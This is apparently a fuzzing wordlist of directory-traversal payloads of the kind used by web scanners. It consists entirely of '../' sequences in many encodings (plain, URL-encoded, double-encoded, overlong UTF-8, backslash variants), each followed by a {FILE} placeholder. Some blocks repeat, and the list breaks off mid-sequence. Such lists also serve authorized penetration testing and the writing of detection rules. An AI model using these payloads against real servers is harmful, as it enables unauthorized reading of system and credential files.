%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}<br /> %25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}<br /> ..%c1%9c{FILE}<br /> ..%c1%9c..%c1%9c{FILE}<br /> ..%c1%9c..%c1%9c..%c1%9c{FILE}<br /> ..%c1%9c..%c1%9c..%c1%9c..%c1%9c{FILE}<br /> ..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c{FILE}<br /> ..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c{FILE}<br /> ..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c{FILE}<br /> ..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c{FILE}<br /> %c0%ae%c0%ae\{FILE}<br /> %c0%ae%c0%ae\%c0%ae%c0%ae\{FILE}<br /> %c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\{FILE}<br /> %c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\{FILE}<br /> %c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\{FILE}<br /> %c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\{FILE}<br /> %c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\{FILE}<br /> %c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\{FILE}<br /> %c0%ae%c0%ae%c1%9c{FILE}<br /> %c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c{FILE}<br /> %c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c{FILE}<br /> %c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c{FILE}<br /> %c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c{FILE}<br /> %c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c{FILE}<br /> %c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c{FILE}<br /> %c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c{FILE}<br /> ..%25c1%259c{FILE}<br /> ..%25c1%259c..%25c1%259c{FILE}<br /> ..%25c1%259c..%25c1%259c..%25c1%259c{FILE}<br /> ..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c{FILE}<br /> ..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c{FILE}<br /> ..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c{FILE}<br /> ..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c{FILE}<br /> ..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c{FILE}<br /> %25c0%25ae%25c0%25ae\{FILE}<br /> %25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\{FILE}<br /> %25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\{FILE}<br /> %25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\{FILE}<br /> %25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\{FILE}<br /> %25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\{FILE}<br /> %25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\{FILE}<br /> %25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\{FILE}<br /> %25c0%25ae%25c0%25ae%25c1%259c{FILE}<br /> %25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c{FILE}<br /> %25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c{FILE}<br /> %25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c{FILE}<br /> %25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c{FILE}<br /> %25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c{FILE}<br /> %25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c{FILE}<br /> %25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c{FILE}<br /> ..%%32%66{FILE}<br /> ..%%32%66..%%32%66{FILE}<br /> ..%%32%66..%%32%66..%%32%66{FILE}<br /> ..%%32%66..%%32%66..%%32%66..%%32%66{FILE}<br /> ..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66{FILE}<br /> ..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66{FILE}<br /> ..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66{FILE}<br /> ..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66{FILE}<br /> %%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65%%32%66{FILE}<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66{FILE}<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66{FILE}<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66{FILE}<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66{FILE}<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66{FILE}<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66{FILE}<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66{FILE}<br /> ..%%35%63{FILE}<br /> ..%%35%63..%%35%63{FILE}<br /> ..%%35%63..%%35%63..%%35%63{FILE}<br /> ..%%35%63..%%35%63..%%35%63..%%35%63{FILE}<br /> ..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63{FILE}<br /> ..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63{FILE}<br /> ..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63{FILE}<br /> ..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63{FILE}<br /> %%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65%%35%63{FILE}<br /> %%32%65%%32%65%%35%63%%32%65%%32%65%%35%63{FILE}<br /> %%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63{FILE}<br /> %%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63{FILE}<br /> %%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63{FILE}<br /> %%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63{FILE}<br /> %%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63{FILE}<br /> %%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63{FILE}<br /> ../{FILE}<br /> ../../{FILE}<br /> ../../../{FILE}<br /> ../../../../{FILE}<br /> ../../../../../{FILE}<br /> ../../../../../../{FILE}<br /> ../../../../../../../{FILE}<br /> ../../../../../../../../{FILE}<br /> ..%2f{FILE}<br /> ..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> %2e%2e/{FILE}<br /> %2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ..%252f{FILE}<br /> ..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f{FILE}<br /> %252e%252e/{FILE}<br /> %252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> ..\{FILE}<br /> ..\..\{FILE}<br /> ..\..\..\{FILE}<br /> ..\..\..\..\{FILE}<br /> ..\..\..\..\..\{FILE}<br /> ..\..\..\..\..\..\{FILE}<br /> ..\..\..\..\..\..\..\{FILE}<br /> ..\..\..\..\..\..\..\..\{FILE}<br /> ..%5c{FILE}<br /> ..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c{FILE}<br /> %2e%2e\{FILE}<br /> %2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> ..%255c{FILE}<br /> ..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c{FILE}<br /> %252e%252e\{FILE}<br /> %252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> ../{FILE}<br /> ../../{FILE}<br /> ../../../{FILE}<br /> ../../../../{FILE}<br /> ../../../../../{FILE}<br /> ../../../../../../{FILE}<br /> ../../../../../../../{FILE}<br /> ../../../../../../../../{FILE}<br /> ..%2f{FILE}<br /> ..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> %2e%2e/{FILE}<br /> %2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ..%252f{FILE}<br /> ..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f{FILE}<br /> %252e%252e/{FILE}<br /> %252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> ..\{FILE}<br /> ..\..\{FILE}<br /> ..\..\..\{FILE}<br /> ..\..\..\..\{FILE}<br /> ..\..\..\..\..\{FILE}<br /> ..\..\..\..\..\..\{FILE}<br /> ..\..\..\..\..\..\..\{FILE}<br /> ..\..\..\..\..\..\..\..\{FILE}<br /> ..%5c{FILE}<br /> ..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c{FILE}<br /> %2e%2e\{FILE}<br /> %2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> ..%255c{FILE}<br /> ..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c{FILE}<br /> %252e%252e\{FILE}<br /> %252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> \../{FILE}<br /> \../\../{FILE}<br /> \../\../\../{FILE}<br /> \../\../\../\../{FILE}<br /> \../\../\../\../\../{FILE}<br /> \../\../\../\../\../\../{FILE}<br /> \../\../\../\../\../\../\../{FILE}<br /> \../\../\../\../\../\../\../\../{FILE}<br /> /..\{FILE}<br /> /..\/..\{FILE}<br /> /..\/..\/..\{FILE}<br /> /..\/..\/..\/..\{FILE}<br /> /..\/..\/..\/..\/..\{FILE}<br /> 